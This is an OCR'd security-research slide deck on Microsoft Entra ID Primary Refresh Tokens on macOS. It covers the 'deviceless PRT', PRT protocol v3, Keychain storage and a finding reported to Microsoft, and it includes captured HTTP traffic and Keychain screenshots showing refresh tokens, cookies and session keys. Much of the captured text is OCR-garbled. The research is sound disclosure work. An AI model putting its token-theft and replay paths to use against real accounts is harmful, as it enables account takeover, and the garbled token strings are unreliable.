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What can you expect from this story

PRT Refresher Sorry, no 0-day
What are Primary Refresh Tokens and That's at least what we thought, until
how does one acquire one. Microsoft wanted a call..

. ... turns out they deemed it to be a
PRT protocol versions critical one.

The facts may be different than the

documentation on the Microsoft site. So, sorry not many demos \_(%/)_/"

Secure Enclave

Microsoft using the TPM on macOS,
mostly..




This book belongs to...

I'm Olaf, | like warm hugs and am a Detection engineer
and Security Researcher at FalconForce.
Follow me at @olafhartong to learn more.
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I'm Dirk-jan, and I'm a Security Researcher at Outsider
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Once upon a timeline

Initial finding Picked up research Secure Enclave

Dec 2022 April/May 2024 May 2024
Deviceless PRT Refined the Discovered
found and research and PRTv4 and added
managed to tooling. Reported support to tools

abuse it to MSRC
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Prior research
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. Abuse and replay of Azure AD refresh token from Microsoft
OIS N Edge in macOS Keychain

Abuse and replay Of Azure AD refreSh tOken from M|CrOSOft Edge Microsoft is using Keychain to store cached Azure AD tokens for “logged in”

Edge profiles on macOS devices. Apple’s integrated password management

| n m a CO S KeyC h a | n system offers “encryption at rest” and built-in security features. Nevertheless,

options to exfiltrate user’s token and abuse them for token replay attacks
should be considered. In this blog post, | like to give an overview about the
potential attack scenarios and some security considerations.

https://www.cloud-architekt.net/abuse-and-replay-azuread-token-macos/

May 31,2022 - © 12 minute read
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Overview of the sign-in, token cache flow and potential replay attack paths on macOS devices.




PRT Refresher

What are Primary Refresh
Tokens and how are they
acquired?



Tokens on unmanaged Windows hosts
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Tokens on managed Windows hosts

Sign in

Request PRT usage

Entra ID
Token broker STBIEEE
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\0\(3 Teams backend services
00666
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tokens

(resources)
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Primary Refresh Tokens

In general
Primary Refresh Tokens are Single Sign On tokens
Can be used to sign in to any application and any Entra connected website
Links a user identity to a device identity
- Is used in Conditional Access to enforce device based controls (compliant/hybrid joined/etc)
Needs a session key to operate

On Windows
Session key is protected by a Trusted Platform Module
PRT is always bound to a device




Token Hierarchy

Refresh Tokens

Token issuance flow

Access tokens




PRT protocol versions

Windows uses PRT protocol 2.0.
Then Microsoft decided to support macOS....

...and they added PRT protocol

v3.0 and introduced a
DEVICELESS PRT




Device registration - cryptographic keys

Windows
Device certificate (Entra signed) + private key (RSA key)
Transport key (RSA key) — sent as BCRYPT_RSAKEY_BLOB

On macOS (PRT v3)
Device certificate (Entra signed) + private key (RSA key)
Transport key (RSA key) — sent as JSON Web Key (JWK)

JWK specs written by Microsoft employee Michael Jones
https://datatracker.ietf.org/doc/html/rfc7517

M


https://datatracker.ietf.org/doc/html/rfc7517

PRT request and broker mechanics - Windows

Authentication material

Device key signed payload

>

Entra ID

PRT +
Transport key encrypted
session key

Session key encrypted

Session key signed token response

payload with PRT

JWE https://datatracker.ietf.org/doc/html/rfc7516




PRT request and broker mechanics - macOS$S

Login

Authorization code + public
transport key

PRT +

Transport key encrypted
session key I

PRT + device key signed
payload

Entra ID

Session key encrypted
token response

PRT (with device ID) +
Transport key encrypted
session key

Session key signed
payload with PRT



PRT protocol version 3.0 - usage

Implementations we have analyzed:
Edge SSO
Uses deviceless PRT directly for SSO after signing in to Edge

Intune macOS SSO Extension
Uses device-bound PRT that is obtained via deviceless PRT

Other platforms, like android and iOS, are also known to also utilize this.




PRT protocol version 3.0

Edge on MacOS has Single Sign On capabilities — using the deviceless PRT as an SSO
mechanism

3143  https://aadcdn.msftauth.net GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en-gb.min_2ueOas7mkd11c4rheggsb5a2.js 200 49114 script is v 152.199.23.37 14:17:45 14 Dec ...
3146 https://assets.msn.com GET /bundles/v1/edgeChromium/latest/shoppingHomepage.ac16ffcde8215071290f.js 200 665884 script is v 23.73.4.96 14:17:45 14 Dec ...
3193  https://login.microsoftonline.com POST /common/login v 200 73169 HTML Sign in to your account v 20.190.159.70 ESTSAUTHPERSISTE... 14:17:50 14 Dec ...
3201  https://aadcdn.msftauth.net GET /shared/1.0/content/js/ConvergedSA_Core_hEU8Z4jpyOGtnYlcmP5cGw2.js 200 311587 script is v 152.199.23.37 14:17:51 14 Dec ...
m =|m. Inspector
Request Response
Pretty Raw Hex N \n = Pretty Raw Hex Render &) " = | Request attributes
1 POST /common/login HTTP/1.1 1 HTTP/1.1 200 OK
2 Host: login.microsoftonline.com 2 Cache-Control: no-store, no-cache Request body paramete
3 Cookie: wlidperf=FR=L&ST=1671023880201; clrc={%2219341%22%3a[%22+5]jF/00a%22%2C%220ZwqeA8Y%22]}; brcap=0; esctx= 3 Pragma: no-cache
AQABAAAAAAD--DLA3V07Qrddglg7WevrNesaZWX_00L@ZfFhsc_N9hwF66tJ5117Z1AmDKLjne_FMCROu090-x9SsRY0JdHvm5Y 1iuuB46-xz8j4ouCulaQH4EDbT8K 4 Content-Type: text/html; charset=utf-8 Request cookies
KI3Ybp6KQcBP736H41i0GMyMKrBtPegigqQSacWnVM@eBiwLwMjNleFBgStjBPVVi, 5 Expires: -1
kkZ2GG8YEX2AQgAA; buid= 6 Vary: Accept-Encoding
0.ASUAMe_N-B63jSkuT5FIXHpE1WiC41uzCMrZImKZERTD Ip30BAAA. AQABAAEAA/ 7 Strict-Transport-Security: max-age=31536000; includeSubDomains Request headers
Rrb2XYUhtC68urPalHZtXiIvE2zPy7CC_c1bbR90I179X_sEFC3n9pBf10mTule4g8gAA; fpc=AgBVoHzgljBEmPDkn2uRTfN_WQgMAQAAAPzDK9s0AAAA; 8 X-Content-Type-Options: nosniff
stsservicecookie=estsfd; x-ms—gateway-slice=estsfd 9 X-Frame-Options: DENY esponse headers
4 Accept: text/html,application/xhtml+xml,application/xm1l;q=0.9,%*/%;q=0.8 10 Link: <https://aadcdn.msftauth.net>; rel=preconnect; crossorigin
5 Content-Type: application/x-www-form-urlencoded 11 Link: <https://aadcdn.msftauth.net>; rel=dns-prefetch
6 Origin: https://login.microsoftonline.com 12 Link: <https://aadcdn.msauth.net>; rel=dns—prefetch
7 Content-Length: 1834 13 X-DNS-Prefetch-Control: on
8 Accept-Language: en-GB,en;q=0.9 14 P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"
9 User—Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) PKeyAuth/1.@ 15 X-ms-request-id: 2aaeaded-d6cf-4ffd-bae6-01ab7c064300
19 Referer: https://login.microsoftonline.com/ 16 x-ms—-ests—server: 2.1.14357.7 - WEULR1 ProdSlices
11 Accept-Encoding: gzip, deflate 17 X-XSS-Protection: @
12 Connection: close 18 Set-Cookie: ESTSAUTHPERSISTENT=
13 0.AV8AMe_N-B6jSKuT5F9XHpEIWiC41uzCMrZImKZERTD Lp30BAAA. AgABAAQA
14 113=0&login=olaftesting%4@falconforce.io&loginfmt=olaftesting%s4@falconforce.io&type=11&LoginOptions=3&lrt=&1lrtPartition=& VNmzEfu2WMV3EJAKsXW8yg5_dGL_gqSY928vR-P6KkTwD2BYmQAG] t5-jMOZMAL.
hisRegion=&hisScaleUnit=&passwd=%" . _ E &ps=2&psSRNGCDefaultType=&pSRNGCEntropy=&psRNGCSLK 9d9KRIcMFzlhfgUUULZIqrToCie8cWibj2GGNZN2NIdL5VtSmMRLi3SKoEWAF7R6C o
=&canary=FVNeV]j%2F5hhDwT%2BTKHhxAX%2BJZVCnzf5TLk2TdSSVEZNKk%3D1%3A1l&ctx= = o B -
rQQIARAAjVIPaNNgFO-XtF1XZi@bi0xUsAexJE2T9C8M1InbTOrXFpbZrEebXL1-a2CRfTdKm9CqI4EVERSZ42EX0oSbwou-hpYEB92t28CorHetKWsft—-PH68x4P3e7z domain=.login.microsoftonline.com; expires=Tue, 14-Mar-2023 13:18:00 GMT; path=/; sec
fC4YSLMdyMYTTGLTSaBUkrtE8y-WiGMmpVobnGIFHPCNmWykmm4EpRhTFpMDhJEynobUaDK99e_9XqIvlt—_-1e9_KYARiB027Dkqi4jBGhqyiE@Uh8VYGxsQ5eLxRT 19 Set-Cookie: ESTSAUTH=
P-GYAJAC-0dalDxcG205ntTQXqiJgKsRBMNXJA-bDJI3CiMgNium5Eae6TA57M9x33k8roqQINzM759qVZk2rJRbGLUd@0otd@KBE-piJT8X4RAELG2IR3SUO4XALPiU@ 0.AV8AMe_N-B6jSKuT5F9XHpEIWiC41uzCMrZImKZERTD lp30BAAA. AgABAAQAAAD—-DLA3V07Qrddglg7w:
F12ho-0f760QcwxXYFDGO1aRNFOHCGKomsm3o0cIYduOkC42NT lyno1lxVsYK70n0dxocemmB55SZe8NN7KQDCnsuei0fqOufLBQIrYWpRzbzg@De_6fT19MnS75ebr_ YT sWBgcvCUBIYrm_ZdMv9zCjFp-L1bxfmUjI4P-Hd_vQHtCj0J8TRTodhw0Ys@XDQff-30a3s8xEctnbN4S3
| | | [
qu4MVNhoDJ2Bkb2g!ZB79bsVbevaSTT3T64ochFkJBZdVaCPVIgaef9TXC5526NnBj—Pp@adfpfSl&hpgrequestid: 7SMORhk6gILnstc0cUbb95_odNfD1ly3YeCqdsl00jo2-x2qeV9tVizDeRmbUwuRQY59Q7yupRbP1J9
86d996d9-eed7-4094-955f-603dc6458303&T LlowToken= jmbHo 1T6PxWUjHq19zbSwOKsDLub rLWW2dWEMV84fpNPNOYCtnWbCzvUBdOw7s6WBRK2Ko8101B
AQABAAEAAAD—-DLA3V07Qrddglg7Wevrgw—rgpMfx4NGGWIb3c3nZuw9Pledwgy rpTn7 IKfBfwgk LfCnnSRuZ5065G2Ds7KxNUo4 jNMGsU6x 1BqtHOVXRvmXZ-wh62A mQWj7k4fHelZhPU; domain=.login.microsoftonline.com; path=/; secure; H
Jyay6H1p31kRxn8t3kI151QZ0VthoE-BcmdpxNoaw65Uy3NPjLC_wkZdL6VjM@5AapuGVy3-2BUyWVDOIXuLX-qZlaizzDkxd46U1TvB—L7B1HLNN8oL6voIEY1VvjL 20 Set-Cookie: ESTSAUTHLIGHT=+816ff6a2-e67f-4f3e-957c-7531e489ef0d;

-— a n | — 21 Set-Cookie: ch=B21gXrKUQk1lRqdWixa-7a7MCjp9ZeuMRhfiDr9zw08E; do
b7BHVbGQ9MOq4GQCE_eKv_GDj78deOLwr7stdN7J-FHyvegy8aV1pAV_2gUbWItK511IchcBcrcgoX59Y4-EdGMRqVVXdTbBQ-780a0YfEH8ySGThTFzu4fNaU-8-54 13:18:00 GMT; path=/; secure; SameSite=None
IMgOE9370530QqheeMrtRm54Z6yD_UKpy0ivAe9NUG3dkF4IZP1jIav00aloy606vtqTeRrzLpbwczTRNhKiDpRnxBwoxIhAKMKEIAA&PPSX=8NewlUser=1& 22 Set-Cookie: ESTSSC=00; path=/; secure; HttpOnly; SameSite
FoundMSAs=&fspost=0&1i21=0&CookieDisclosure=0&IsFidoSupported=0&isSignupPost=0&isRecoveryAttemptPost=0&119=9936 23 Set-Cookie: buid=

0.AV8AMe_N-B6jSkuT5FIXHpE1IWiC41uzCMrZImKZERTD 1p30BAA
1 1 1 E - -
HttpOnly; SameSite=None

24 Set-Cookie: fpc=AgBVoHzgljBEmPDkn2uRTfN_WQgM

path=/; secure; HttpOnly; SameSite=None



PRT protocol ves

Send:

» Special authorization code
« On-the-fly generated RSA key

Receive:
* Primary Refresh Token

stk_jwk=

3220  htipsy

3221

https:/

Request
Pretty Re

1 POST /cc

2 Host: 1lc¢
3 Cookie:
0.AV8AMe
NmzEfu2y
9KR9cMF:

B21gXrKl
0.AVBAMe
XC1Dbazy
a1
brcap=90;
Content-
X-Clienf
X-Clienf
Accept:

Accept-lI

Accent—f

coo~NO U A

%71B%226€%22%3A%22AQ0AB%22%2(C%22Kty%22%3A%22RSA%22%2(
BONriNOX6j5AZzKy-56_idq—gEg1ID-Qk3L02tdVyZDz1Q9rV(
rA82BB8eDxn01G97A03DLcNIg81_iD3iq04W7ZcYwyyt1VoKU-

qSnXyvbNFYdcqRLTwh-
ecd6b820-32c2-49b6-
S_kLFVMBzeBaGszSGb
aza%20profile%s200ff!
0.AV8AzUIqqYy_ukaqTr
8 rXewhAnBq_Y cwwE5 CM¢
USKvmwb7L1MsgAjFqg50.

{"e":"AQAB","kty":"RSA","n":"5Vp1Fz-
sHLODZeGpWIQIBINriNOX6j5AZzKy-5¢
r-OulcbaMHniotjZONFuSYUT4qeAPVpT
LcNJg8l_iD3ig04W7ZcYwyyt1V6KU-BFR

krDGi-cPzhAtwVdkfdA_0Ydxn94bk94VRH8yT-httESzdKPa9.

- o

ONYuUIJNr
nBiv_j_1
nv9azqte

Response

Pretty Raw Hex Render =] \n =
19 ]

20 {

"token_type":"Bearer",
"scope":
"email openid profile 00000003-0000-0000-c000-000000000000/Files.ReadWrite 00000003-0000—-0000-c000-000000000000/Files.ReadWri
te.All 00000003-0000-0000-CP00-000000000000/Notes.Create 00000003-0000-0000—-CO00-0000VOV0V000/Notes.ReadWrite 00000003-0000-0
000-c000-000000000000/Notes.ReadWrite.All 00000003-0000-0000—CcP00—-000000000000/People.Read 00000003-0000-0000—-Cc0O0-0000000000
00/User.Read 00000003-0000-0000—C000-000000000000/User.ReadBasic.All 00000003-0000-0000-CcP00-000000000000/.default",
"expires_in":4915,
"ext_expires_in":4915,
"access_token":
"eyJ0eXAi0iJKV1QiLCJub25jZSI6InVSYnRDeHdMa®VBQkRjNOgxSWIiM2 1BMFFfYkwyM L 1FbnkxQ1dZRGtsRUkiLCIhbGeci0iJSUzIINiIsIngldCI6GIil1LSTNR
0W50UjdiUm9meG1l1WmOY cWIIWKkd ldyIsImtpZCI6Ii1LSTNROWS0UjdiUm9meGl1WmOYcWIIWkd1ldyJ9.eyJhdWQi0iIwMDAWMDAWMY@WMDAWLTAWMDALY zZAWMCOwW
MDAWMDAWMDAWMDAiLCJIpc3MiOiJodHRwczovL3NOcy53aWs5kb3dzLm51dCOh0TIhNDIjZC1iZjhjLTQ2YMELYWEQGZS@O2NGNiYz L IMDMwZDkvIiwiaWFOIjoxNjcxM
DIzNTKOLCIJuYmYiOjE2NzEWMjM10TQsImV4cCIOGMTY3MTAYODgXMCwiYWNjdCIGMCwiYWNyIjoiMSIsImFpbyI6IKFWUUFXxLzhUQUFBQW10V1JHRW1BNkV4QzJBaV
FRYk1DM@xuNXhVRHVDR2VMOEMAWVBaWnFrkK2dgQUNsMTFkQnJTOHFqVUM5¢c@1ab@VhSTKrUXQ1SW8yYWFIVTVQWHIFNFZ0QUhzSFZ3Rz1TMdE8@em1TL1VRRXRBPSI
sImFtcil6WyJwd2QiLCItZmEiXSwiYXBwX2Rpc3BsYXTuYW1lIjoiTW1jcm9zb2Z@IEVKZ2UiLCIhcHBpZCI6ImYV]jZDZiODIWLTMyYZzItND1iNi@50GE2LTQONDUzZ
MGU1YTc3YSISImFwcGLKYWNYIjoiMCIsImlkdHIwIjoidXN1ciIsImlwYWRKciI6TjY1LjIXLjIXNCAXNzIilCIuYW1lIjoib2xhZiBtYWMgdGVzdCB1c2VyIiwib
21kIjoiZmU4ZDAINDgtMT1jYS@ONjIOLTg2ZDMtOGZIMDE2ZWI4MjUzIiwicGxhdGYi0iI1TIiwicHVpZCI6IjEwMDMyMDAYNTkzRUZGRKEiILCIyaCI6IjAuQvVY4QXx
pVSXFxWX1fdWthcVRtVEX5ZUF3MTFNQUFBQUFBQUFBd@FBQUFBQUFBQUImMQUSRLiISINN] cCIGImMVtYWLSIEZpbGVzZL1I1TYWRXcm1@ZSBGaWx lcy5SZWFkV3JpdGU
uQWxsIE5vdGVzLKNYZWF@ZSBOb3R1cy55ZWFkV3IpdGUgTmI0ZXMuUmVhZFdyaXR1LkFsbCBvcGVuaWQgUGVvcGx L1I1YWQgcHIvZm1sZSBVc2VyL1I1YWQgVXN1
ci5SZWFkQmFzaWMuQWxsIiwic2 lnbmluX3N@YXR1IjpbImlua25vd25udHdrI1@sInN1YiI6I1A1RjBRAU9Tcm1@ONkdSUVN1Z2pNWHd5dnFOd@dKMGpzWEFUdTVGd
XdYdOUiLCJ@ZW5hbnRfcmVnaW9uX3Njb3B1IjoiRVUiLCI0aWQi0iJhOTIhNDIjZC1iZjhjLTQ2YmEtYWE@ZSO2NGNiYZz 1 IMDMwZDKilLCI1lbmlxdWVfbmFtZSI6Im
9sYWZOZXN@aW5nQGZhbGNvbmZvemNlLmlvIiwidXBuIljoib2xhZnR1c3RpbmdAZmFsY29uZm9yY2UuaW8ilLCI1dGki0iJ5bTRWT IR1ZUUwaVRYWFZ4TTdKQUFBI iw
idmVyIjoiMSAwIiwid21kcyI6WyJiNzlmYmY@ZCOzZWYS5LTQ20DktODEOMY@3NmIX0TR1ODUIMDKiXSwieG1lzX3NOIjp7InN1YiI6I1ZTbDV4eU10Z1]jeHcOYmO1
VXdVMUNTR1gz0GVvX@1LGTDhSNnZ4Wkl6bncifSwieG1lzX3RjZHQi0jE10TAXMzAwWMzASsInhtc190ZGIyIjoiRVUifQ. cHsabMs5axwWijI4eBd4WzHSQDFECMeOuy
0rog76bd8b5dEVYwxj9vxAhSVIfVF_Gy9jvR5F06YTvIcINuxwVoWemxpLGrv3THFgNt4UbMYcnsNnCAhmk9KSpUaGwS46PYf_JNMu841FAZF2Dsy459KwltVWYkz
1
"refresh_token":
"®.AV8AzUIqqYy_ukagqTmTLyeAw2SC41uzCMrZImKZERTD lp3pfANQ. AGABAAEAAAD—-DLA3V07Qrddglg7WevrAgDs_wQA9PBU7xEMG2zVYMghbX2WhnggmZygHR
9yJTZdMOKc1DBgdtRIUU1ZjFTAmaj jo0fWh4zjkG6KIZTqlY@cYuRmzS0ZnUbelteUdU3SmDwtWNTXN210Ht2iS1K8UjufZKHr5QmJ13Mso68yvA3pAk2mL14Vv_D
hBoXEsbRyZhgLwpyA8fBMWtb0cf4M8Hj-TpS1JzPq7LsFh2hc33dI8JUsYqdHH2LGtLtC5ZZ1PCpmNmgPXxCL—-@41icJwgjtxk@vnFmlYnazproAeKm6CoHxiEE_Gi
61sQomUyKU7_FYcm8X5YUA6ZMNh1fg-L4MHWshM11nJBEScQ-uP8j0_qZqpmK2i65dc LFhGM8gHgAONzRuk5Liar8IY3cK1kbIoMxBWI1ZnS_7yfZbymHvSUi98-L
6B54H2by 1DW5I79VUasKRQvITfILt17rQZBzgCveGuLrRdn@7rD4DPCvybE1ANYal1v9AFVsZVINATPIE4X-z7FiLsYqALeILogL2BO@QAWBNQz7mHMhbfI7z@tMPY
0iqgfEwCaFP1JM@DdY6DuKco8j fSQSKKgcgLEu7e09D04FDs fw8—_J1kCoR4fIL6WXvY19qiWpUiWjt1t5xnKLGCvaMkMteMEwPaMbWzWk7jVBwM4c0qbUlhyEjwg
207 LvWBsksbKZ8XTVgMCQFSg9_eghOpcK4YpWNxtFqB3SK51lgxraZGG9KiXhdF1Z2905¢c0ztvbY-ekqx3ZNm5Px_cTmaAHHPPALHXB6K8w4—-C4f rbgZwwv LhyRDXwX

"refresh_token_expires_in":1209599,

"foci":"1",

"id_token":
"eyJ0eXAi01JKV1QiLCIhbGci0iJSUzIINiIsImtpZCI6Ii1LSTNROW50UjdiUm9meG1lWmOYcWIIWkdldyJ9.eyJhdWQi01iJ1Y2Q2YjgyMCOzMmMyLTQ5YjYt0Th
hNi@ONDQIMzBINWE3N2EiLCIpc3MiO0iJodHRwczovL2xvZ21lulmlpY3JIvc29mdGOubGluZS5jb20vYTkyYTQyY2QtYmY4Yy@@ONmIhLWFhNGUENjRjYmM5ZTAzMGQ5
L3YyLjAiLCIpYXQi0jE2NzZEWMjM10TQsIm5iZiI6MTY3MTAYyMzUSNCwiZXhwIjoxNjcxMDI3NDkOLCIhaW8i0iIBV1FBcS84VEFBQUFYODBTTmhCb@9XcnhLWkUzW
G93TWtHU3dtaFNYc@FqQUsvSHQ2d1ZjTzYwczdLODN4Q2srcGw4ejdXRzdWYXhKV11QalRAcXVhNXRGYz L5VThmMGVURDhVZEJ rM1VTZDB5K1hRNzBjSzBuvVT@aiLC
JuYW1lIjoib2xhZiBtYWMgdGVzdCB1lc2VyIiwibm9uY2Ui0iJSdzhTWVhvQjJBOXV@Od3F3MmxoNGFuaXc4UnVTVKMtZ2RtQ1lplY3Z0SGI3Iiwib21kIjoiZmU4ZDA
INDgtMT1jYS@OON]jIOLTg2ZDMtOGZIMDE2ZWI4AMjUzIiwicHI LZmVycmVKkX3VzZXJuYW1lIjoib2xhZnR1c3RpbmdAZmFsY29uZm9yY2UuaW8iLCIwdWlkIjoiMTAw
MzIWMDI10TNFRkZGQSIsInJoIjoiMC5BVjhBelVIcXFZeV91a2FxVG1UTH11QXcyUBMOMXVEQO1yWkptS1pFULREbHAZCcGZBT LEUliwic3ViIjoiVINsNXh5SXRnU
mN4dzRibTVVd1UxQ19HWDM4ZWIfSUZMOFI2dnhaSXpudyIsInRpZCI6ImMESMMEOMMNKLWIMOGMtNDZiYS1hYTRILTY@Y2]jOWUWMzBKOSIsInV@aSI6In1tNFZOVH
V1IRTBpVHIYVnhNNOpBQUEiLCJI2ZXIi0iIyLjAifQ.EkNd5@0HteT3Xr71jkV5Br9p2AV2-sdIViQ-c2ns1BbMPAuagZ04VyyVdx7rallvuC6ULz43XbdRgpIREXuy
Ux1IxbmV7anu-mb3A8dxvVK9iwRziab0@SiWNupvcKO0s34hhiBvikWalQJL1l NJ4fNJ@-Tf6VhMTRGbocctKol@LkOkmIioE @B-VniQne66b9B70Zt4o0hzk5Rzs]Ir

"client_info":

"eyJ1aWQiOiImZThkMDU@OCOXOWNhLTQ2MjQtODZKkMy@4ZmUwWMTZ1YjgyNTMiLCI1dGlkIjoiYTkyYTQyY2QtYmY4Yy@@NmIhLWFhN

"session_key_jwe":

"eyJ1lbmMi0OiJBMjU2RONNIiwiYWxnIjoiUINBLU9BRVAifQ. kpZV4miICcwNIgVcbsPNC1xrVaYDTh56jtUpzRPTEKsp76j7HsZpKMuH_Kgbt@xe—qmoDTB09QxUn
3W8jKoww9zbcxNGRDK11SbnjF4x4k-NEdS2TbnUIiqv6FH_op7BfJIMh_XsFwkP05@RjC8Vrg6DZ-3dPWgzyb5XjY6jkR4mLdfOF6p70qvQo7V2AamIUij ldTkY—-Hg
viHmniw-Nall? 7PATP 1AHMSKYAAN nuMKIdchRyManchfR 1011 NSy 7P rAQMf Ak 1 _EYvxnv kY rBP4B3_@—ZRm—ttTYFBXEvanqu,—a LM1WwW1lWxroSRFDtvk11LwQ

pWlQ1l
1kWmeQ
"Owixc

" roi4
‘KGG1D
IL8yoH
1qLTZX




PRT protocol version3.0 - ™

Using the PRT in protocol v3 is very similar
as PRT broker flow on Windows.

Token request contains PRT, and is signed
with the session key.

Response is encrypted with the session key,
ensuring the tokens cannot be obtained
without this key.

coded

1265 JSON v 20.190.159.7
204 904 0/ v 40.79.189.5¢
200 6837 text 20.190.159.
200 6716 text v 20.190.159.7

Response

co~doOUT s WN R

Raw Hex Render

HTTP/1.1 200 OK

Cache-Control: no-store, no-cache

Pragma: no-cache

Content-Type: application/jose; charset=utf-8

Expires: -1

Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Content-Type-0Options: nosniff

P3P: CP="DSP CUR OTPi IND OTRi ONL FIN"

client-request-id: ae34@a67-a75c-4e2c-b363-f0cl2c6e4399

X-ms—request-id: ca823310-a59e-4845-alea-4d3ae8971900

x-ms—ests-server: 2.1.14357.7 - NEULR2 ProdSlices

Xx-ms—-clitelem: 1,0,0,2732.7983,

X-XSS-Protection: @

Set-Cookie: fpc=AqBVoHzgljBEmPDkn2uRTf0tngJtAQAAABbEK9sOAAAAVYUECWEAAAAYXCvbDgAAANYUSYEBAAAAFSQr2w4AAAA; exp
13-Jan-2023 13:18:17 GMT; path=/; secure; HttpOnly; SameSite=None

Set-Cookie: x-ms—-gateway-slice=estsfd; path=/; secure; samesite=none; httponly
Date: Wed, 14 Dec 2022 13:18:16 GMT

Connection: close

Content-Length: 6007

eyJhbGci0iJkaXIiLCJlbmMi0iJBMjU2RONNIiwiY3R4IjoiYnR40XhFaHpvQ3RON2d4UXg@dEXIS3hobHNOYytyNmwifQ..0RLKvo7vTB12.
KoQRvZ5m1nATc7UOAEGYZ1Zy1Wq7K_GN4IRefz2A2tv08DSIXhkyja3FVAPY1K6AciD1P4J1-HT1A5QUBvgJudvIfxul4qpOVSKFStxAcinc
5gbNE_-j-a64fz4fUzz-bM313mRhiM4julfg8UYIVwgVtInb_yIGUU3r7p7cYh7JkahDSFj4ys2XVIRSOxqIG-JqpcFO1Cnp0O1lITO095v]jJd
¢cSJ4b91_sZWfDzzCo@3E84wAVOuU Lkxs6704EfwyZdr_e-JQyHOghWH7k0Sawb1d210D0Se93gZ1-kumt6oPmLm5-ZHiDNXYsyqxJkXN2I2tg
OwXFNgOrvd_4PaMiqmYsEPqgpHp8vIOKXvQhjHiiHNjHYKrNVjYi9bMUeKzCSSCcTeY-79XNI5GrHuFUvWQUCR_X3eooysvKHHF49ToUCVD]
ZbDjYOBa3jsP-AwFWrEj_K6rpAtZLLIvz-sXMieF-0pH542v4yAyRb3U8B6TGDoQhwNI1CzCQkAZVV_uo2LvcrIyGRIT3wplf_aSKWK5ACCT
USKVN-dAXMEGRtUUMZ2Y-TcKwrU5DuxGZZE6bGo08mNHzC-DQMvwcQPd3T2f6gD24hm_cRfseSPc4t-vsiCgW2TTCSuww3nN-hbo4IfapEzD
XNUA4r2JAEXJIZsCAVOYSuswAZbAj fK-E5-KNG8qZpfTLO86oumb6HKZCv45_XMDRIat85bXYLYPXa7C40g9znyBk7U3zS5D0XiskakhB1DzPuN
NbPhAj@QUDf2jDd-174jhdhKs rnNmzHaQuLT2uxflwy33GHGX_mMSGYZrRgcwq_LM-r2vWurx27-VmeoQLYI485XCiBjaIVnUi011GohaYjI
3MXOdHDOWTPALYT72NRwEV87jbI9f_yQtSqfdxEwz_2zsZj7]11v-SdD_1v3TZ1IGINORPkzyd04nnV6XMfwDDz_G93q5H6kBPv8Crv9ec7sL
hcVLfkNotytVppX0gkNQz79-0ru-QZ268Zq_1AZtGmLATh742NUuChSp69CzJyY1bOHdEZMvivZRsPk_MswcMENMyfU5LIV1q6I-1eqVQHUE
yy_16InFLLvOUzd-tSZXpHho_kQqkXA05yi4M-n63144zVO9RMOgwfuPC7D64mcF50] ZPuGtm5IyPfedsIncOtWd imSXzKXxL6GHOLNWNf iEW
kA3ZXURbt4PO7wBXYtwCAFTEanyBnOKiIitRUf_gN-_2fNpA2ySGG7k8r9ETYycexRnCOMoA7uoziN-Kms—-aPJGSEUS-YCEDMDq8Ss41PkHI!
Bl P Ot S i S LT



PRTv3 protection - Keychain only

o0 Keychain Access 7 G a

All ltems Passwords Secure Notes My Certificates Keys  Certificates
login
primaryrefreshtoken-1--
Local Items Kind: application password
Account: feBd0548-19ca-4624-86d3-Bfe016ebB253.a92a42cd-bfBc-46ba-aade-64cbcBel30d9-login.windows.net
Where: primaryrefreshtoken-1--
Modified: Yestarday, 10:07

System .
Y o0 primaryrefreshtoken-1--

System Roots MName

, com.apple.iAdIDRecords Attributes  Access Control
com.apple.iAdIDRecords

com.apple.iAdIDRecords

com.apple.iAdIDRecords Mame: primaryrefreshtoken-1--

com.apple.iAdIDRecords

a92a42cd-bf8c-46ba-aade-64cbcOe Kind: application password

idtoken-0ecB893a0-5785-4de6-99da. o9 ®

accesstoken-0ecB893e0-5785-4de6-9 Account: feBd0G54B8-19ca-4624-86d3-Bfe016ebB253.a92a42cd-bfBe-46ba-aade-64cbc9e030d9-login.windows.net
idtoken-2d7f3606-b07d-41d1-b9d2-(

accesstoken-2d7f3606-b07d-41d1-b9 Where: primaryrefreshtoken-1--

refreshtoken-2d7f3606-b07d-41d1-b!
refreshtoken-OecB93e0-5785-4det6-!
idtoken-d7b530a4-7680-4c23-a8bf-
accesstoken-d7b530a4-7680-4c23-al
refreshtoken-d7b530a4-7680-4c23~
idtoken-ecdébB820-32c2-49b6-98a6
accesstoken-ecd6b820-32c2-49b6-9
primaryrefreshtoken-1--
accesstoken-ecd6b820-32c2-49b6-9
accesstoken-d7b530ad4-7680-4c23-al
cpp-genaral-app-metadata-additiona
appmetadata-2d7f3606-b07d-41d1-b
cpp-general-app-metadata-additiona
appmetadata-d7b530ad-7680-4c23-
refreshtoken-1--

#
*

#
*

#
*

*
H

Comments:

#
*

#
*

*
»

#
*

¥ Show password: {"secret":"@.AVBAzUIqqYy_ukaqTmTLyeAw2SC41uzCMrZImKZERTDIp3pfANQ.AgABAAEAAAD--

]
]

*

cpp-genaral-app-metadata-additiona = : =
appmetadata-0ec893e0-5785-4de6-99da-4ed124e5296¢c application password Yesterday, 05:1F
accesstoken-ecdGb820-32c2-49b6-98a6-444530eba 7a-a92ad4 2cd-bfBc-46ba-aade-64... tivity.microsoft.comf.default https:ffactivity. microsoft.comjusersettings.readwrite.createdbyapp application password Yesterday ~

#
*

accesstoken-ecd6b820-32c2-40b6-98a6-444530e5a77a-a02ad 2cd-bfBec-46ba-aade-64....api.applicationfintune.mam.registrations.write.all https:/fmsmamservice.api.application/.default application password Yester
accesstoken-ecd6b820-32c2-49b6-98a6-444530e5a77a-a92ad42cd-bfBec-46ba-aade-64...o0s0ft.com/.default hitps:/jedgesync.microsoft.comfusersettings.readwrite.createdbyapp.secure application password Ye:
accesstoken-ecdGb820-32c2-49b6-98a6-444530e5a77a-a92a4 2cd-bf8c-46ba-aad e-64cbecDe030d9-https:/faadrm.comfuser_impersonation https://aadrm.com/.default application password

#
*

e P P P e B P P P T P P P P P P P P B P P P P P B B B P P P P




PRTv3 protection - Keychain contents

||exte rnal_key_type||: i L :
"prt_p rOtOCOl_Ve rsion': "3.0" .
"'session_key": "IPgs b .

\

"credential_type": "Primaryl
"environment": "login.win

""home_account_id":
"expires_on"': "171¢€
""cached_at": /]
"client_id": "2

"expires_in": "1.

}

application password Yesterday, 05:18 -

